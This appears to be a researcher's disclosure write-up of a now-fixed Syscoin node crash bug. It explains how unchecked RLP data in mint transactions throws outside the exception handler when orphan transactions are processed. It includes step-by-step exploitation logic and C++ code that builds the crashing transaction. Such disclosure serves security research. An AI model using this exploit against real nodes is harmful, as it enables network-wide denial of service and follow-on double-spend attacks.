Nice to see you again. Today we are back to Syscoin. Previously we have published two submissions to the bounty related to the implementation of Sysethereum bridge. Today we present a vulnerability that we found before working on the mentioned bounty. We could not publish it earlier because only recently the Sysethereum bridge was activated on the mainnet and this issue was fixed there although the fix itself was available for much longer.
Note the lovely trick we used that enabled exploitation of this vulnerability. The proof of knowledge is provided at the end of the article as this vulnerability is fixed by now. Hope you enjoy.
dev::RLP Constructor Crash
Bug type: DoS
Bug severity: 5/10
Scenario 1
Attacker cost: negligible
In this scenario the attacker targets one or more specific nodes that the attacker wants to crash. The attacker needs a direct connection to the target node, so we expect the target node to be operating on publicly accessible network interface – i.e. public IP address and open firewall port. Eventually, the attacker is able to create connection to every public node in the network and crash all such nodes. The network will become dysfunctional. In order to recover, the node operators have to restart their nodes. We assume that this mostly needs to be done manually as we do not expect many node operators to implement watchdog services that would be able to recognize that the node is non-operational and restart their nodes automatically.
Scenario 2
Attacker cost: medium
In this scenario, the attacker has access to significant hashing power compared to the total hashing power of the network. The attacker also performs a sybil attack against the network – this means they will create a large number of fully operational public nodes. Then they will perform Scenario 1 attack against all other public nodes in order to crash them. This will cause that all the block propagation in the network will only have to go through the public nodes of the attacker. This allows the attacker to censor any transaction as well as censor any block, which further allows the attacker to create a longest chain with just fractional hashing power, compared to the original hashing power of the network. With just fraction of the network hashing power, the difficulty will go down every 360 blocks (Syscoin retargeting period) because the blocks will not be produced within the expected timeframe. Eventually the difficulty will decrease enough for the attacker to produce a chain that looks healthy and it is fully controlled by the attacker. This allows the attacker to perform additional attacks such as double spending.
Description
Source code at the time of writing this report can be found here: https://github.com/syscoin/syscoin/tree/12613afb0bb9a65514f816d501cc65b3c2f28e0c.
At its core, this is yet another insufficiently validated input. However, the actual exploitation is not that simple and requires a smart construction.
Deserialization and Exception Handling
CheckSyscoinInputs is a function responsible for validation of Syscoin specific outputs. These outputs have extra data inserted after OP_RETURN opcode. There are several different types of transactions in Syscoin. We will focus here only on SYSCOIN_TX_VERSION_ALLOCATION_MINT. Transactions of this type are checked further in CheckSyscoinMint. Inside of this function, a deserialization of CMintSyscoin object is done from an output's OP_RETURN data.
In most cases, it's not possible to submit invalid data such that it goes through the deserialisation process and a valid instance of the object is created. This is because if the deserializer raises an exception, the exception handling around ProcessMessage inside of ProcessMessages function catches the exception and the incoming network message is ignored. Similarly in case of Syscoin transactions, we can see the following code in the deserialisation process:
bool CMintSyscoin::UnserializeFromData(const vector<unsigned char> &vchData) {
try {
CDataStream dsMS(vchData, SER_NETWORK, PROTOCOL_VERSION);
dsMS >> *this;
} catch (std::exception &e) {
SetNull();
return false;
}
return true;
}
So we can see that if the deserialisation process raises an exception, the newly created object is invalidated through SetNull call. Then, correctly, the validity of the object is checked immediately after the deserialization:
if(mintSyscoin.IsNull())
{
errorMessage = "SYSCOIN_CONSENSUS_ERROR ERRCODE: 1001 - " + _("Cannot unserialize data inside of this transaction relating to an syscoinmint");
return false;
}
So seemingly, this is different but correct approach. The problem is, however, that CMintSyscoin is not composed of fully structured data:
class CMintSyscoin {
public:
CAssetAllocationTuple assetAllocationTuple;
std::vector<unsigned char> vchTxValue;
std::vector<unsigned char> vchTxParentNodes;
std::vector<unsigned char> vchTxRoot;
std::vector<unsigned char> vchTxPath;
std::vector<unsigned char> vchReceiptValue;
std::vector<unsigned char> vchReceiptParentNodes;
std::vector<unsigned char> vchReceiptRoot;
std::vector<unsigned char> vchReceiptPath;
...
This means that even if deserialiser finishes successfully and the newly created object is valid, internally it may still contain invalid data. For example, vchReceiptParentNodes is not just an array of bytes, it's a structured object, which format has not been checked. We can exploit this because dev::RLP constructor is then called in CheckSyscoinMint to create an object from this unchecked data.
If the provided data is invalid, the constructor fails and an exception is thrown. But then this exception is again caught by the exception handler around ProcessMessage as we mentioned above. The offending message is ignored and the node lives happily again. So this was the input validation failure part. Now what? So how can we exploit it?
Execution Flows
CheckSyscoinInputs is called from both the block validation flow (ConnectBlock) when a block arrives, as well as from the memory pool transaction validation flow (AcceptToMemoryPoolWorker). At first we thought that the one in ConnectBlock is just perfect as we could use the same trick we used in Particl. Because the problem is present only after AcceptBlock is finished, the block would already be relayed to node's peers through compact blocks mechanism and subsequently to the whole network. This looked like we could crash the whole network with just a single invalid block. However, because of the exception handler, the network is just flooded with the invalid block, which is then ignored as the exception is caught. Unfortunately, we have been unable to find out how to circumvent this, so we were unable to use the block validation flow to exploit this bug. Maybe it is somehow possible but we don't know how.
So only the memory pool validation flow remains, but it has the same problem – the ultimate exception handler around ProcessMessage. Luckily, there is the orphanage. As we can see early in the ProcessMessages function, before the exception handler is introduced, there is an orphan transaction processing logic:
if (!pfrom->orphan_work_set.empty()) {
std::list<CTransactionRef> removed_txn;
LOCK2(cs_main, g_cs_orphans);
ProcessOrphanTx(connman, pfrom->orphan_work_set, removed_txn);
for (const CTransactionRef& removedTx : removed_txn) {
AddToCompactExtraTransactions(removedTx);
}
}
So how do we get our transaction inside of orphan_work_set to be processed here? When a transaction message is processed, if it passes AcceptToMemoryPool, then mapOrphanTransactionsByPrev is searched if it contains any transactions that the just accepted transaction unblocked:
if (!AlreadyHave(inv) &&
AcceptToMemoryPool(mempool, state, ptx, &fMissingInputs, &lRemovedTxn, false /* bypass_limits */, 0 /* nAbsurdFee */, false /* fDryRun */, true /* bMultiThreaded */, false /* bSanityCheck */)) {
// SYSCOIN
//mempool.check(pcoinsTip.get());
RelayTransaction(tx, connman);
for (unsigned int i = 0; i < tx.vout.size(); i++) {
auto it_by_prev = mapOrphanTransactionsByPrev.find(COutPoint(inv.hash, i));
if (it_by_prev != mapOrphanTransactionsByPrev.end()) {
for (const auto& elem : it_by_prev->second) {
pfrom->orphan_work_set.insert(elem->first);
}
}
}
pfrom->nLastTXTime = GetTime();
LogPrint(BCLog::MEMPOOL, "AcceptToMemoryPool: peer=%d: accepted %s (poolsz %u txn, %u kB)\n",
pfrom->GetId(),
tx.GetHash().ToString(),
mempool.size(), mempool.DynamicMemoryUsage() / 1000);
// Recursively process any orphan transactions that depended on this one
ProcessOrphanTx(connman, pfrom->orphan_work_set, lRemovedTxn);
}
However, as you can see, there is ProcessOrphanTx called here as well, which means that if a transaction is blocked, it's processed right away. Fortunately for us, inside ProcessOrphanTx we can see:
bool done = false;
while (!done && !orphan_work_set.empty()) {
const uint256 orphanHash = *orphan_work_set.begin();
orphan_work_set.erase(orphan_work_set.begin());
...
if (AcceptToMemoryPool(mempool, orphan_state, porphanTx, &fMissingInputs2, &removed_txn, false /* bypass_limits */, 0 /* nAbsurdFee */)) {
LogPrint(BCLog::MEMPOOL, " accepted orphan tx %s\n", orphanHash.ToString());
RelayTransaction(orphanTx, connman);
...
EraseOrphanTx(orphanHash);
done = true;
} else if (!fMissingInputs2) {
So we have a while loop that ends when the done variable is set to true, which happens when AcceptToMemoryPool succeeds on the first item in orphan_work_set. Now it sounds complicated, but we will untangle it in a second.
One more thing before we start – how do we get our transaction into mapOrphanTransactionsByPrev? A transaction is simply put into this map when the node is unable to verify that it uses only existing unspent coins as inputs.
Exploitation
Now we have everything we need to design the exploit. First we need to construct a transaction with one input and two outputs, we call it T1. This is a normal transaction splitting a coin to two and we need both outputs to be ours. We do not propagate this transaction to our peers. Then we create a transaction that spends the first output. This has to be another perfectly valid transaction, we call it T2. Finally, we create the malicious transaction which spends the second output of T1. The malicious transaction, named T3, contains the data in OP_RETURN output in order to produce the crash we mentioned above. Now we compare the hashes of T2 and T3. If T3 < T2 (note that the last byte in string representation is the first byte in memory), we throw away T2 and T3 and generate a new pair of transactions T2 and T3. We repeat this step until T3 > T2.
Now we propagate T2 to the peers that we want to crash. As T1 has not yet been propagated, the peers will put T2 into the map of orphaned transactions. They will also ask our node for T1. But we don't deliver it yet. Instead, we deliver T3. This again causes T3 to be put into mapOrphanTransactionsByPrev.
Now we deliver T1. It goes into AcceptToMemoryPool and it succeeds. This will cause mapOrphanTransactionsByPrev being searched for dependent transactions. T2 and T3 are going to be found and inserted into orphan_work_set. Because orphan_work_set is std::set, it is an ordered collection, and because the hash of T2 < T3, it is T2 that is going to be the first in the set.
Now ProcessOrphanTx is called, but it only processes T2 because it passes AcceptToMemoryPool call inside of it. This means that after processing of T1 network message, we have only T3 left in orphan_work_set. This is what we wanted. Now during the next execution of ProcessMessages, ProcessOrphanTx is called outside of the exception handler, which calls AcceptToMemoryPool and subsequently CheckSyscoinMint, which crashes the node.
Code
Most of the exploit code is just a modification of sendtoaddress RPC call and it implements the logic mentioned above, which is quite uninteresting. Therefore we only mention here the interesting part, which is how to create the malicious transaction T3. The following code is inserted to CWallet::CreateTransaction just before the transaction is to be signed. We implemented a new parameter to this function called corrupt. If it is set to true, CreateTransaction will modify the transaction in works to T3 transaction as follows:
if (corrupt) {
CMintSyscoin mintSyscoin;
mintSyscoin.assetAllocationTuple = CAssetAllocationTuple();
mintSyscoin.assetAllocationTuple.nAsset = 1107534;
// Fill in some data
mintSyscoin.vchTxValue.push_back('a');
mintSyscoin.vchTxParentNodes.push_back('a');
mintSyscoin.vchTxRoot.push_back('a');
mintSyscoin.vchTxPath.push_back('a');
mintSyscoin.vchReceiptParentNodes.push_back('a');
mintSyscoin.vchReceiptRoot.push_back('a');
mintSyscoin.vchReceiptPath.push_back('a');
// Exploit target
mintSyscoin.vchReceiptValue.push_back(0xc0 + 5);
mintSyscoin.vchReceiptValue.push_back('a');
mintSyscoin.vchReceiptValue.push_back('b');
mintSyscoin.vchReceiptValue.push_back('c');
mintSyscoin.vchReceiptValue.push_back('d');
mintSyscoin.nBlockNumber = 15; // uint32_t
mintSyscoin.nValueAsset = 25; // CAmount
// serialize
std::vector<unsigned char> data;
mintSyscoin.Serialize(data);
CScript scriptPubKey2 = CScript() << OP_RETURN << data;
CTxOut txout2(0, scriptPubKey2);
txNew.vout.push_back(txout2);
txNew.vout[0].nValue -= 100000;
txNew.nVersion = SYSCOIN_TX_VERSION_ALLOCATION_MINT;
}
Note that we require a Syscoin asset to be present in the system. This works with any asset and our asset ID was 1107534. Block number in the code above has to be adjusted accordingly.
Proof of Knowledge
As usual in case of already fixed bugs, we should present a proof that we were aware of the bug before it was fixed. We do that with the help of OpenTimestamps. Our timestamp data is the following string:
art_of_bug - Syscoin - Insufficiently validated transactions of type SYSCOIN_TX_VERSION_ALLOCATION_MINT can cause exception inside of dev::RLP constructor called from CheckSyscoinMint (called from CheckSyscoinInputs) when a transaction is sent to a node which attempts to add it to its memory pool. Using orphan transactions it is possible to avoid exception handler around ProcessMessage inside of ProcessMessages function and thus crash the node.
The OTS file proving our knowledge converted to hex looks as follows:
004f70656e54696d657374616d7073000050726f6f6600bf89e2e884e89294010812bfa9c73e2f61a404a65084be7cfd006783c9122858d1bc9599097ca8d94f49f010a88c32fd80b9a4300f01346121dd733808fff010f986221f6280161d98d0a4dd1f74a03708f1045d2f6a65f0083e45b87108bd734e0083dfe30d2ef90c8e2e2d68747470733a2f2f616c6963652e6274632e63616c656e6461722e6f70656e74696d657374616d70732e6f7267fff010cb0f6a83f8e2bc2a3084fb06bd18be4808f1045d2f6a66f0089c9a9b73dc3171fd0083dfe30d2ef90c8e2c2b68747470733a2f2f626f622e6274632e63616c656e6461722e6f70656e74696d657374616d70732e6f7267f010b1c1bee0f7ac137d89997245f813e1fc08f1045d2f6a66f00825a80921f19e9f300083dfe30d2ef90c8e292868747470733a2f2f66696e6e65792e63616c656e6461722e657465726e69747977616c6c2e636f6d
If you run OpenTimestamps client correctly, you should see something like this:
This proves that we created the record on 17th July 2019, well before the fix was implemented on 29th July.